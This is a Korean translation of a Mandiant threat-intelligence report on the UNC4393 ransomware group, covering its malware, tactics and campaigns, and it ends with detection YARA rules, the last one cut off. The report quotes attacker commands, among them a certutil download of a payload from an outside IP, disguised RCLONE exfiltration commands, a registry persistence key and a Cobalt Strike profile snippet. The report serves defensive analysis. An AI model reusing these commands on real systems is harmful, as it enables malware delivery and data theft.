콘텐츠로 이동하기
위협 인텔리전스

SILENTNIGHT 악성 코드로 조용히 침투 중인 공격 그룹 - UNC4393

2024년 7월 29일
Mandiant

보안 상담

보안에 대한 문의사항을 해당 전문가가 상담해 드립니다.

문의하기

* 해당 블로그의 원문은 2024년 7월 30일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Josh Murchie, Ashley Pearson,  Joseph Pisano,  Jake Nicastro,  Joshua Shilko, Raymond Leong


 

개요

2023년 중반 맨디언트 매니지드 디펜스(Mandiant Managed Defense) 팀은 QAKBOT을 포함해 여러 침투 사건을 탐지하였습니다. 그리고 이 침투는 공격자가 BEACON과 같은 백도어를 설치하고, 랜섬웨어 공격을 위한 준비 작업으로 이어졌습니다. 이 발견은 맨디언트가 BASTA 랜섬웨어의 주요 사용자인 UNC4393을 처음 식별한 시점입니다. 맨디언트는 20개 이상의 산업 분야에서 40건 이상의 UNC4393 침투 사건에 대응했습니다. 의료 기관은 원래 UNC4393의 주요 타깃이 아니었지만, 올해 발생한 여러 건의 보안 침해를 볼 때 의료 업계도 그들의 관심사가 된 것 같습니다. 물론 의료 기관은 UNC4393으로 인해 피해를 본 조직의 일부에 불과합니다. Black Basta 데이터 유출 사이트에는 500개 이상의 피해자가 게시되어 있습니다.

본 블로그 포스팅에서는 UNC4393의 운영 전술과 이들의 악성 코드를 사용하는 방식이 어떻게 진화하고 있는지 소개합니다. 참고로 QAKBOT 봇넷 제거 이후 기간에 중점을 두어 살펴봅니다. 이번 포스팅을 통해 누구나 쉽게 구할 수 있는 도구를 넘어 이제 맞춤형 악성 코드 개발로 UNC4393가 전환하고 있음을 알 수 있을 것입니다. 더불어 이 공격 그룹이 액세스 브로커를 점점 더 많이 이용하고 있다는 것과 초기 접근 기법이 다양해지고 있다는 것도 파악할 수 있을 것입니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc4393-silentnight-fig1.max-1700x1700.png

그림 1. UNC4393 침입 라이프 사이클

공격자의 속성 및 주요 타깃

UNC4393은 돈을 벌기 위해 사이버 공격을 하는 조직입니다. 이 조직은 2022년 중반부터 추적되어 왔지만, BASTA 랜섬웨어 유포 활동을 되짚어 보면 2022년 초부터 활동했을 가능성이 높습니다. UNC4393은 대부분 QAKBOT 봇넷 감염을 통해 얻은 초기 접근 권한을 이용해 BASTA 랜섬웨어를 배포합니다. QAKBOT은 악성 링크나 첨부 파일이 포함된 피싱 이메일을 통해 유포되며, 때에 따라 HTML 스멀링(HTML Smuggling) 기법을 이용해 ZIP 파일 내 IMG 파일 안에 숨겨진 LNK 파일과 QAKBOT 악성 코드를 유포하기도 합니다.

BASTA 랜섬웨어 운영자는 독특한 방식으로 랜섬웨어를 유포하고 있습니다. 손쉽게 이용할 수 있는 일반적인 랜섬웨어 제공 서비스(Ransomware as a Service)와 달리 BASTA는 소수의 특정인에게만 랜섬웨어를 제공합니다. BASTA를 사용하려면 랜섬웨어 운영자와 특별한 관계를 맺어야 합니다. BASTA 운영자는 공개적으로 랜섬웨어를 판매하기보다 비밀리에 거래하거나, 특별한 조건을 충족하는 이들에게만 랜섬웨어 사용 권한을 부여합니다.

맨디언트는 현재 BASTA 랜섬웨어를 사용하는 조직으로 UNC4393만 추적하고 있지만, 다른 위협 행위자들도 암호화 도구에 접근할 수 있는 가능성을 배제하지 않습니다. BASTA 랜섬웨어 피해자 수가 수백 명에 달한다는 주장은 UNC4393의 빠른 공격 속도를 고려할 때 신뢰할만합니다. 평균 42시간 이내에 몸값을 요구하는 등 UNC4393은 정찰, 데이터 유출, 목표 달성까지 작업 과정을 빠르게 수행하는 능력을 보여주었습니다.

두 개의 주요 그룹으로 구성

2022년 BASTA 랜섬웨어가 처음 등장했을 때 맨디언트는 일반적인 랜섬웨어처럼 여러 개의 조직이 연관되어 있다고 생각했습니다. 하지만 조사 결과 BASTA 랜섬웨어 관련 활동은 두 개의 주요 그룹에 의해 이루어지고 있었습니다. UNC439가 주로 BASTA 랜섬웨어 공격에 연루되어 있었고, 다른 하나인 UNC3973은 다른 특징과 공격 기법을 사용하고 있었습니다. 이를 놓고 볼 때 BASTA 랜섬웨어 운영자는 매우 소수의 인원으로 구성된 조직이라고 추정할 수 있습니다.

맬웨어

맨디언트의 관찰에 따르면 UNC4393은 다음과 같은 맬웨어를 배포하였습니다.

 

맬웨어 패밀리

설명

BASTA

C++로 작성한 랜섬웨어로 로컬 파일을 암호화합니다. 이 랜섬웨어는 볼륨 섀도 복사본을 삭제할 수 있으며, 각 파일을 암호화하기 위해 랜덤한 ChaCha 20나 XChaCha20 키를 생성합니다. 생성된 키는 암호화된 후 파일 끝에 추가됩니다. 관찰에 따르면 BASTA는 암호화된 파일에 .basta 확장자를 사용하지만, 일부 샘플에서는 임의의 9자리 영문자와 숫자로 된 확장자를 사용한 경우도 있습니다.

SYSTEMBC

SYSTEMBC는 C로 작성한 터널링 도구로 TCP를 통해 사용자 정의 이진 프로토콜로 C2(Command & Control) 서버와 원격 시스템 간의 프록시 역할을 합니다. 또한, SYSTEMBC는 HTTP를 통해 추가 페이로드를 가져올 수 있으며, 일부 변종은 이를 위해 Tor 네트워크를 활용할 수 있습니다. 다운로드된 페이로드는 디스크에 저장되거나 실행 전에 메모리에 직접 매핑될 수 있습니다. SYSTEMBC는 종종 다른 악성 코드 패밀리와 관련된 네트워크 트래픽을 숨기기 위해 사용되며, 관찰한 패밀리로는 DANABOT, SMOKELOADER, URSNIF 등이 있습니다.

KNOTWRAP

KNOTWRAP은 C/C++로 작성한 드로퍼로 추가 페이로드를 메모리 내에서 실행할 수 있습니다. 지정된 PE(Portable Executable) 섹션 내에서 내장된 페이로드 내용이 압축되고 사용자 정의 스트림 암호를 사용해 암호화됩니다. 2차 페이로드는 호출 프로세스의 주소 공간에서 실행됩니다. KNOTWRAP의 확장 기능에는 코드 난독화, API 함수 주소의 동적 해석, PE 파일 구조 분석 등이 포함되며 컴파일된 빌드에 따라 기능이나 특징이 다를 수 있습니다.  

KNOTROCK

KNOTROCK은 .NET 기반 유틸리티로 로컬 텍스트 파일에 지정된 네트워크 공유에 심볼릭 링크를 생성합니다. 각 심볼릭 링크를 생성한 후 KNOTROCK은 BASTA 랜섬웨어 실행 파일로 추정되는 파일을 실행하고 새로 생성된 심블릭 링크 경로를 제공합니다.  

DAWNCRY

DAWNCRY는 메모리에서만 실행되는 드로퍼로 하드코딩된 키 65 69 55 56 79 72 79 67 6C 3E 58 45 2A 5E 71 78 45 59 69 49 56 56 61 38 34 4C를 사용해 내장된 리소스를 메모리 내에서 복호화 합니다. 이 리소스는 3개의 쉘 코드 부분을 포함하고 있으며, 그중 하나는 DAVESHELL 로더를 포함합니다. DAWNCRY에는 SophosFSTelemetry.pdb라는 PDB 경로도 포함되어 있습니다.

PORTYARD

PORTYARD는 하드코딩된 C2 서버와의 연결을 설정하기 위해 사용자 정의된 이진 프로토콜을 사용해 TCP로 연결을 설정하는 터널링 도구입니다. 이 도구는 중계 서버와 TCP 연결을 설정하는 명령을 수신하며, 하드코딩된 C2 서버와 중계 서버 간의 트래픽을 TCP를 통해 프록시 처리합니다. 시스템에서 들어오는 C2 연결을 모니터링하기 위해 스레드를 생성하며, 스레드 내에서 첫 번째 응답을 확인하여 이를 검증합니다.  

COGSCAN

COGSCAN은 네트워크에서 사용 가능한 호스트 목록을 수집하기 위해 사용하는 .NET 정찰 도구입니다.

표 1: UNC4393이 배포한 악성 코드 목록

브로커를 활용해 초기 접근

UNC4393은 처음에는 피싱을 통해 유포된 QAKBOT 감염을 주로 이용해 시스템에 침입했습니다. 그러나 FBI와 미국 법무부가 QAKBOT 인프라를 폐쇄한 후인 2023년 말부터 피싱을 통해 유포되는 DARKGATE를 배포하는 다른 공격 그룹을 활용하기 시작했습니다. 이 관계는 오래가지 않았습니다. 얼마 지나지 않아 UNC4393은 UNC5155가 성공적으로 침투한 시스템을 노리기 시작했습니다. 이를 통해 UNC4393은 다양한 공격 그룹과 협력해 목표를 달성할 수 있는 것을 보여주었습니다.

SILENTNIGHT는 HTTP/HTTPS로 통신하는 C/C++ 기반 백도어로 C2 서버를 찾기 위해 도메인 생성 알고리즘(DGA)을 사용할 수 있습니다. 이 악성 코드는 시스템 제어, 스크린샷 캡처, 키로깅, 파일 관리, 암호화폐 지갑 접근 등 다양한 기능을 수행할 수 있는 플러그인 프레임워크를 가지고 있으며, 브라우저를 조작해 사용자 인증 정보를 탈취하기도 합니다.

SILENTNIGHT은 2019년 말에 처음 발견되었는데, 이후 잠시 주춤하다 2021년 중반에 다시 활성화되었고, 얼마 지나지 않아 다시 사라졌습니다. 그러다가 2023년 말부터 다시 활발하게 활동하기 시작했는데, 주로 악성 광고를 통해 유포되고 있습니다. 이는 피싱 외에 다른 초기 접근 방법을 사용하는 쪽으로 UNC4393의 전략이 바뀌었음을 보여줍니다.

요약하자면 UNC4393은 초기에는 QAKBOT을 주로 이용하였지만, 이후 다른 악성 코드를 유포하는 공격 그룹과 협력해 다양한 방법으로 시스템에 침투하고 있습니다. 또한, SILENTNIGHT 백도어를 사용해 시스템을 장악하고 정보를 탈취하는 등의 악성 행위를 수행하고 있습니다.

초기 침투 발판 마련

UNC4393은 목표 환경에 접근한 후 시스템 자체 기능을 이용하는 LotL(Living-off-the-Land) 기법과 맞춤형 악성 코드를 결합하여 지속해서 접근 권한을 유지합니다. UNC4393이 꾸준히 사용하는 초기 침투 발판을 마련하는 방법의 하나는 DNS BEACON입니다. 이 공격 그룹은 다음과 같은 특정 도메인 이름 패턴을 반복해서 사용하는 것으로 알려져 있습니다.

  • h.dns. + C2 Domain
  • ridoj4. + <8 character string> + .dns. + C2 Domain
  • jzz. + <8 character string> + .dns. + C2 Domain
  • wnh. + <8 character string> + .dns. + C2 Domain

Cobalt Strike 문서에 따르면 DNS BEACON과 리스너는 Malleable C2 프로파일을 사용해 커스터마이징할 수 있습니다. 각각의 고유한 서브 도메인은 호출될 때마다 특정 작업을 수행하도록 설정할 수 있습니다.

# DNS subhost override options added in 4.3: 
    set beacon                "doc.bc.";
    set get_A                 "doc.1a.";
    set get_AAAA              "doc.4a.";
    set get_TXT               "doc.tx.";
    set put_metadata          "doc.md.";
    set put_output            "doc.po.";
    set ns_response           "zero";

그림 2: Cobalt Strike DNS Beacon Malleable C2 예제

UNC4393은 초기 침투 단계부터 이후 공격 단계까지 BEACON을 사용하는 것으로 확인되었습니다. 2024년 초부터 UNC4393은 DAWNCRY, DAVESHELL, PORTYARD로 이어지는 다단계 감염 과정을 사용하는 것이 발견되었습니다. DAWNCRY는 메모리에만 존재하는 드로퍼로 내부에 암호화된 리소스를 해독하여 메모리에 로드합니다. 이 리소스는 다음과 같은 세 부분의 쉘 코드로 존재합니다.

  1. [First 0x60C bytes] - DAVESHELL 드로퍼입니다.
  2. [Bytes 0x60D - 0x19F0] - 주요 페이로드로 현재까지는 터널링 프로그램인 PORTYARD로 확인되었습니다. 이 터널러는 시스템에서 스레드를 생성하여 C2 서버로부터의 연결을 모니터링하며, 첫 번째 응답을 검증합니다. C2 서버로부터 두 가지 명령 중 하나를 수신하여 릴레이 서버와 연결을 설정합니다.
    • 명령 "1"은 IPv4 주소와 포트 형식의 릴레이 서버 정보를 수신합니다.
    • 명령 "3"은 FQDN과 포트 형식의 릴레이 서버 정보를 수신합니다.
  3. [Bytes 0x1A00 - 0x29F2] - "dev"라는 문자열로 시작하는 두 번째 쉘 코드 부분입니다.

필요한 PORTYARD 명령이 없으면 연결이 설정된 것으로 간주하고 릴레이 서버나 하드코딩된 C2 서버로부터 데이터를 모니터링하며 TCP를 통해 두 서버 간 데이터를 프록시 합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc4393-silentnight-fig3.max-900x900.jpg

그림 3: DAWNCRY, PORTYARD 배포

내부 정찰  

UNC4393은 초기 접근 권한을 획득한 후 BLOODHOUND, ADFIND, PSNMAP과 같은 오픈 소스 도구를 사용해 피해자 네트워크를 매핑하고 내부 이동이나 권한 상승 방법을 찾았습니다. UNC4393은 이러한 도구를 C:\Users\Public 또는 C:\Windows 폴더에 저장하는 경우가 많습니다.

또한, 맨디언트는 UNC4393이 COGSCAN이라는 스캔 도구를 사용하는 것을 확인했습니다. COGSCAN은 .NET 기반 정찰 도구로 네트워크에 있는 호스트를 열거하고 시스템 정보를 수집합니다. 샘플에서 발견된 PDB 경로를 통해 UNC4393이 이 도구를 GetOnlineComputers라고 부르는 것으로 추정됩니다.

C:\Users\ehgrhr\source\repos\GetOnlineComputers\
GetOnlineComputers\obj\x86\Release\goc.pdb

그림 4: COGSCAN PDB 경로 예제 

COGSCAN의 개별 샘플은 사용자 이름을 제외하고 유사한 PDB 경로를 가지고 있으며 모두 goc.pdb로 끝납니다. COGSCAN은 엔드포인트에서 다음과 같은 네 가지 고유한 아티팩트를 생성합니다

  • C:\users\public\online.txt
  • C:\users\public\pc.txt
  • C:\users\public\pc_sorted.txt
  • %CD%\ldap.txt

이 네 개의 파일에서 COGSCAN은 다음 정보를 수집합니다. 

  • 엔드포인트 정보
    • 컴퓨터 이름
    • Ipv4
    • 운영 체제 및 버전
    • 마지막으로 적용된 패치
    • 세션
  • 도메인 및 LDAP 정보
  • 엔드포인트 기능
    • 도메인 컨트롤러
    • 웹 서버
  • 레지스트리 키 스캔
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\
    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages
    • HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint

측면 이동 및 지속성 유지

UNC4393은 주로 SMB BEACON과 RDP 프로토콜을 사용해 내부 이동을 수행합니다. 앞서 언급한 바와 같이 BEACON은 거의 모든 UNC4393 침투에서 사용됩니다. 이 공격 그룹은 Cobalt Strike의 WMI(Windows Management Instrumentation)를 통한 원격 실행 기능을 선호하며, 악성 코드나 다른 도구를 확산하고 실행합니다. 예를 들어 한 사례에서는 BASTA는 암호화될 호스트에 스테이징 된 후 WMI를 통해 10분 이내에 100개 이상의 시스템에서 동시에 실행되었습니다.

또한, 맨디언트는 UNC4393이 초기 단계에서 공개적으로 사용할 수 있는 ANYDESK, ATERA, SPLASHTOP, SCREENCONNECT, SUPREMO, NETSUPPORT 원격 모니터링 및 관리(RMM) 소프트웨어로 지속성을 확보하는 것을 확인하였습니다. 일반적으로 이러한 도구는 C:\ProgramData, C:\Windows\Temp, C:\Dell 폴더에 저장되어 실행되었습니다.

그러나 이러한 도구들은 2022년 말부터 UNC4393이 선호하는 TTP에서 사라진 것으로 보입니다. 이 시기부터 SYSTEMBC 터널러 사용이 늘기 시작했고, 이는 운영 방식의 변화를 보여주는 것입니다. SYSTEMBC PE 바이너리는 일반적으로 C:\ProgramData, C:\Windows, C:\Users\Public 폴더에 저장됩니다. 그리고 2023년 중반에는 SYSTEMBC 사용이 감소했으며, 2024년 초 PORTYARD 터널러를 사용하기 시작할 때까지 대체 수단이 없었습니다.

한 사례에서 UNC4393은 호스트에 지속성을 확보하려 할 때 엔드포인트 안티바이러스 도구로 인해 문제를 겪었습니다. 엔드포인트 안티바이러스 도구를 우회하기 위해 윈도우 명령줄 유틸리티인 certutil을 악용하여 SILENTNIGHT 악성코드 페이로드를 다운로드했습니다.

C:\WINDOWS\system32\certutil.exe -urlcache -split -f 
http://179.60.149.235/KineticaSurge.dll 
C:\Users\Public\KineticaSurge.dll

그림 5: UNC4393가 UNC5155 SILENTNIGHT 바이너리를 다운로드하는 명령

랜섬웨어 배포와 랜섬 협상

UNC4393의 목표는 가능한 한 빠르게 많은 양의 데이터를 수집한 후 이를 유출해 다각적으로 피해자를 협박해 몸값을 받는 것입니다. UNC4393은 데이터 탈취를 위해 RCLONE을 자주 사용합니다. 참고로 RCLONE은 다양한 클라우드 스토리지 플랫폼에서 파일을 관리할 수 있는 명령줄 프로그램입니다.

활동을 은폐하기 위해 UNC4393은 일반적으로 RCLONE 바이너리를 합법적인 시스템 유틸리티로 위장합니다.

C:\Windows\system32\cmd.exe /C taskenq.exe --config ssd.conf 
--max-size 99M --max-age 3y --transfers=99 --no-check-certificate 
copy "\\<REDACTED>\<REDACTED>$" <REMOTE SHARE>

C:\Windows\system32\cmd.exe /C tasksend.exe --config cfg.conf 
--max-size 99M --max-age 7y --transfers=199 --no-check-certificate 
copy "\\<REDACTED>\M$\Users" <REMOTE SHARE>

그림 6: RCLONE 유출 명령어 예

초기에 UNC4393은 암호화기를 수동으로 배포하는 방식을 사용했습니다. 이는 C:\Windows 또는 C:\Users\Public 폴더에서 BASTA 바이너리를 직접 실행하는 것을 포함합니다. 또한, 레지스트리 실행 키를 사용해 바이너리를 실행하는 경우도 관찰되었습니다.

<HIVE>\Software\Microsoft\Windows\CurrentVersion\Run\Skype --> 
C:\Windows\Basta_Ransomware.exe 

그림 7: BASTA 랜섬웨어를 실행하기 위한 윈도우 레지스트리 키

2023년 말부터 UNC4393은 KNOTROCK이라는 커스텀 .NET 기반 유틸리티를 사용하기 시작했습니다. KNOTROCK은 로컬 텍스트 파일에 저장된 네트워크 공유에 심볼릭 링크를 생성합니다. 각 심볼릭 링크를 생성한 후 KNOTROCK은 BASTA 랜섬웨어를 실행하고 새로 생성된 심볼릭 링크 경로를 제공합니다. 결국 KNOTROCK은 네트워크 통신 기능을 제공하여 기존 BASTA 암호화기를 지원하고 네트워크 경로를 사전에 매핑하여 운영을 간소화하여 배포 시간을 줄이고 암호화 프로세스를 가속합니다. 

KNOTROCK은 UNC4393의 운영 방식의 진화를 잘 보여줍니다. 암호화 프로세스를 가속해 대규모 공격을 가능하게 하고 몸값 요구 시간을 크게 단축해 공격 그룹의 역량을 강화합니다.

흥미롭게도 이 공격 그룹은 두 차례에 걸쳐 암호화 시도를 완전히 포기했습니다. 랜섬웨어 바이너리 실행이 실패할 경우 맨디언트는 UNC4393이 몸값 요구를 중단하고 운영을 종료하는 것을 관찰하였습니다. UNC4393이 데이터 유출 사이트에서 주장하는 피해자 수를 고려할 때, 이 공격 그룹이 동시에 활발하게 작업 중인 침투 사례의 수가 많아 문제가 발생할 경우 다른 피해자에게 우선순위를 부여해야 할 가능성이 있습니다. 그렇다고 해서 랜섬웨어 시도 실패가 향후 같은 공격을 받지 않으리라는 것을 보장하는 것은 아닙니다. 맨디언트는 UNC4393이 BASTA 배포 실패 후 몇 달 후에 이전에 침해한 환경을 다시 노리는 것을 관찰했습니다.

결론

UNC4393이 사이버 범죄 환경에서 적응력이 뛰어나고 활발히 활동하는 위협 행위자로 입증되었습니다. 초기에는 QAKBOT 감염을 이용했지만, 이후 액세스 브로커와 전략적 파트너십을 통해 운영을 다각화하고 최적화하는 의지를 보여주었습니다. 그 결과 BASTA가 추적하는 주요 데이터 유출 사이트에서 상위권에 이름을 올렸습니다. 참고로 최근에는 피해자 수가 꾸준히 감소하는 추세입니다. 이는 초기 접근 권한을 안정적으로 확보하는 데 어려움을 겪고 있는 것을 시사합니다.

초기에는 쉽게 구할 수 있는 도구에 의존했지만 이후 맞춤형 악성 코드 개발로 전환하였습니다. 물론 데이터 탈취와 협력을 통해 목표 달성에는 변함이 없습니다. 또한, 수동적인 랜섬웨어 배포에서 KNOTROCK 개발로 전환한 것은 UNC4393의 전술 개선 의지를 보여줍니다. 이런 특성과 빠른 운영 속도를 감안할 때 방어자들에게 상당한 위협이라 할 수 있습니다. 가급적 의료 기관을 피하며 더욱 효율적으로 공격에 성공할 수 있는 활동에 집중하는 것을 볼 때 이 공격 그룹은 계산적이며 동시에 금전적인 이익을 우선시한다고 볼 수 있습니다.

위협 환경이 계속 변함에 따라 UNC4393의 운영 세부 사항을 이해하는 것은 중요합니다. UNC4393의 적응력과 혁신을 지속하는 것 그리고 다양한 도구와 기술 활용 능력을 고려할 때 적극적이고 강력한 보안 대책이 필요합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc4393-silentnight-fig8.max-1500x1500.jpg

그림 8: BASTA 데이터 유출 사이트(DLS)에 식별된 목록

캠페인 추적

맨디언트는 2022년 이후 UNC4393의 활동과 관련해 세 가지 주요 캠페인을 추적했으며, 추가 지표와 정보는 Google Threat Intelligence(GTI) 고객에게 제공됩니다.

Campaign 22-053

2022년 11월 맨디언트는 UNC4393이 관련된 여러 침입 사건을 확인했으며, 여기서 BASTA 랜섬웨어가 배포되고 UNC2633이 배포한 QAKBOT을 통해 네트워크에 처음 접근했습니다. UNC2633으로부터 접근 권한을 얻은 후, UNC4393는 Cobalt Strike BEACON과 SYSTEMBC 터널러를 포함한 다양한 도구를 배포했습니다. 그 후 Rclone을 사용해 데이터를 유출하고 BASTA 랜섬웨어를 배포했습니다. 주목할 점은 일부 사례에서 UNC4393이 환경에 접근한 지 며칠 만에 이를 수익을 실현했다는 것입니다. 이러한 발견은 현재 BASTA를 배포하는 행위자들이 과거 TRICKBOT과 CONTI 생태계와 관련된 침입 운영자들과 TTP에서 상당한 유사성을 보인다는 맨디언트의 이전 관찰과 일치합니다.

Campaign 23-053

2023년 9월 초 이후 UNC4393은 UNC2500 DARKGATE 감염을 이용해 BASTA 랜섬웨어 작업을 위한 피해자 네트워크에 접근했습니다. 최소한 한 사례에서 UNC4393은 DARKGATE가 배포된 후 몇 시간 내에 호스트를 장악한 후 네트워크 내 발판을 마련하기 위해 DNS 기반의 Cobalt Strike BEACON 페이로드를 배포했습니다. UNC4393은 PsExec 및 윈도우 관리 공유를 사용해 네트워크를 이동하며, RCLONE 명령줄 유틸리티를 사용해 데이터를 유출한 후, 손상된 윈도우 서버에 저장된 BASTA 페이로드를 수동으로 실행했습니다. UNC4393은 역사적으로 UNC2500과 UNC2633을 포함한 배포 위협 클러스터에서 얻은 접근 권한을 활용해 BASTA 랜섬웨어를 배포하고 데이터 절도 협박을 수행해 왔습니다.

Campaign 24-018

2024년 2월 말부터 UNC4393이 데이터 절도 협박 작업과 BASTA 랜섬웨어 배포를 수행한 것이 관찰되었습니다. 초기 진입 벡터가 확인된 경우 위협 행위자들은 도난당한 자격 증명을 사용하거나 브루트 포스 방법을 이용해 외부에 노출된 네트워크 장치나 서버에 인증을 시도했습니다. 접근 권한을 얻은 후 UNC4393은 자체 개발 악성 코드와 공개된 악성 코드를 모두 활용해 다른 악성코드 패밀리를 배포하고, 네트워크 정찰을 수행하며, 발판을 마련했습니다. 침입 과정에서 BEACON, COGSCAN, KNOTWRAP, KNOTROCK, PORTYARD, POWERSPLOIT, POWERVIEW 등의 악성 코드가 사용되었습니다. 

이후 다른 내부 시스템에 대한 접근 및 횡적 이동은 주로 윈도우 관리 공유, RDP, SMB 등의 원격 서비스를 통해 이루어졌습니다. 일부 경우 랜섬웨어 배포 전에 위협 행위자들이 민감한 데이터를 수집하고 RCLONE을 통해 이를 유출해 이후 협박 시도에 활용했습니다. 피해 네트워크에서 BASTA 샘플이 처음 발견된 시점은 초기 접근 후 며칠에서 몇 주 사이였으며, 윈도우와 ESXi 시스템에 영향을 미쳤습니다. UNC4393의 TTP와 수익화 방법은 이전 작업과 비교해 비교적 일관되지만, 이 그룹은 초기 접근 경로를 다양화하고 있는 것으로 보입니다.

탐지 및 완화 그리고 감사의 말

UNC4393 활동을 추적하고 식별하는 데 도움을 주기 위해 맨디언트는 침해 지표의 일부를 본 포스팅과 공개된 GTI 컬렉션에 포함하였습니다.

끝으로 본 포스팅에서 언급한 악성 코드를 이해하는 데 도움을 준 Paul Tarter와 FLARE 팀 구성원들과 UNC439을 이해하는 데 도움을 준 맨디언트 연구팀에 감사드립니다.

YARA 룰

BASTA

rule M_Ransomware_BASTA_1 
{
    meta:
        author = "Mandiant”
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        md5 = "3f400f30415941348af21d515a2fc6a3"
        platforms = "Windows"
        malware_family = "BASTA"

    strings:
        $domain = "aazsbsgya565vlu2c6bzy6yfiebkcbtvvcytvolt
33s77xypi7nypxyd"
        $keyiso = "keyiso" nocase wide
        $note = "Your company id for log in"
    condition:
        uint16(0) == 0x5A4D and (all of them)
}
rule M_Ransomware_BASTA_2 
{
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        platforms = "Windows"
        malware_family = "BASTA"

    strings:
		$str1 = "ATTENTION!"
		$str2 = "https://basta"
		$str3 = "network has been breached"
		$str5 = "instructions_read_me.txt"
		$str6 = "Do not modify, rename or delete files"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 
0x00004550 and all of them         
}
rule M_Ransomware_BASTA_3 
{
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        platforms = "Windows"
        malware_family = "BASTA"

    strings:
        $code1 = {8B 86 [4]2B 46 ?? 40 0F AF 86 [4]89 86 [4]8B 
46 ?? 31 04 0F}
        $code2 = {8B 0? 0? A1 [4]33 88 [4]8B 80 [4]89 0? 0? }
        $code3 = {C1 E? 10 [0-6] 88 ?? 0? 8B ?? FF 4? ?? [5-9] C1 
E? 08 [0-9]88 ?? 0? [0-5] FF 4? ?? 8B 4? ?? 8B 8? [4] 88 1C 01}
		
        $decr1 = {F7 74 8E ?? 0F B6 15 [4] 33 C2 A2}
        $decr2 = {33 44 0A ?? B9 [4]D1 E1 8B 55 ?? 89 44 0A} 
        $decr3 = {2B 0D [4]81 F1 [4]33 88 [4]BA [4]6B C2 00 89 88}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 
0x00004550 and (2 of ($code*) or all of ($decr*))
          
}

KNOTWRAP

rule M_Dropper_KNOTWRAP_1
{
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        md5 = "56c1a45c762a29fe6080788f85e6cfc3"
        platforms = "Windows"
        malware_family = "KNOTWRAP"

    strings:
        $hex_asm_snippet_a = { B9 18 01 00 00 2? F8 }
        $hex_asm_snippet_b = { 84 C? (7?|E?) [0-4] 32 D? C1 C2 08 }
        $hex_asm_snippet_c = { 25 FF 0F 00 00 03 4? 08 03 C? 29 1? }
        $hex_asm_snippet_d = { 0F BA F0 1F (7?|E?) [0-4] 03 4? 08 8D 
4? 02 5? 5? FF 55 }

    condition:
        all of them
}
rule M_Dropper_KNOTWRAP_2 
{
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        platforms = "Windows"
        malware_family = "KNOTWRAP"
  
    strings:
        $str1 = "Executable (*.exe)|*.exe|Command (*.com)|*.com|Information 
(*.pdf)|*.pdf|Batch (*.bat)|*.bat|All Files (*.*)|*.*||" wide
        $str2 = "Default Menu=Default application menu. Appears when 
no documents are open." wide
        $str3 = "All CommandsMAll your changes will be lost!" wide
        $str4 = "Windows sockets initialization failed." wide
        $str5 = "TextMining" wide
        $str6 = "mailto:stefan-mihai@moga.doctor" wide

        $api1 = "[CryptoAPI]" wide
        $api2 = "CryptDecrypt:" wide
        $api3 = "CryptDeriveKey:" wide
        $api4 = "CryptHashData:" wide
        $api5 = "CryptCreateHash:" wide
        $api6 = "CryptAcquireContext:" wide
        $api7 = "CryptEncrypt:"wide
    
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 
and all of them
          
}

KNOTROCK

rule M_Utility_KNOTROCK_1 
{
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        md5 = "b2af1cd157221f240ce8f8fa88bf6d44"
        platforms = "Windows"
        malware_family = "KNOTROCK"

    strings:
        $s1 = "Specify path to shares list in 1st argument. 
Specify locker path in 2nd argument" wide fullword
        $s2 = "(like C:\\Windows\\locker.exe)" wide fullword
        $s3 = "-forcepath"  wide fullword
        $s4 = "-nomutex" wide fullword

        $c1 = "lpSymlinkFileName" fullword
        $c2 = "lpTargetFileName" fullword
        $c3 = "CreateSymbolicLink" fullword

        $marker1 = "$7d7b40c2-b763-4388-ac13-79711209439b" 
fullword
        $marker2 = "C:\\Users\\cdsf\\source\\repos\\LinkShares\\
LinkShares\\obj\\Release\\LinkShares.pdb" fullword


    condition:
        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) 
and ((3 of ($s*) and all of ($c*) ) or any of ($marker*))
          
}

COGSCAN

rule M_Recon_COGSCAN_1 {
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        family = "COGSCAN"
        md5 = "d4fd61c1bb582b77a87259bcd44178d4"
        platform = "Windows"
    
    strings:     
        $str_format = "{0,-20}|{1,-10}|{2,-10}|{3,-20}|{4, -50}|{5, -15}|
{6, -7}|{7, -10}|{8, -10}" wide fullword
        $str_param1 = "PcName" wide fullword
        $str_param2 = "Ping?" wide fullword
        $str_param3 = "135(rpc)" wide fullword
        $str_param4 = "OsName" wide fullword
        $str_param5 = "LastKb" wide fullword
        $str_param6 ="Site"  wide fullword

        $str_func1 = "CheckForZLAndWC" fullword
        $str_func2 = "GetTypeFromProgID" fullword
        $str_func3 = "CheckForPN" fullword
        $str_func4 = "TryGetOsName" fullword
        $str_func5 = "TryPrepare" fullword
        $str_func6 = "CustomLDAP" fullword

        $file1 = "ldap.txt" wide fullword
        $file2 = "c:\\users\\public\\pc.txt" wide fullword nocase
        $file3 = "c:\\users\\public\\online.txt" wide fullword nocase
        $file4 = "_sorted.txt" wide fullword
        $file5 = "Take your file: online.txt" wide fullword
        $file6 = "Take sorted file: sorted.txt" wide fullword

        $arg1 = "-customldap" wide fullword
        $arg2 = "-pingtimeout" wide fullword
        $arg3 = "-offlineresolve" wide fullword
        $arg4 = "-autoruninfo" wide fullword
        $arg5 = "-detectsites" wide fullword
        $arg6 = "-bypassping" wide fullword
        $arg7 = "-fromfile" wide fullword
        $arg8 = "-printcountonly" wide fullword

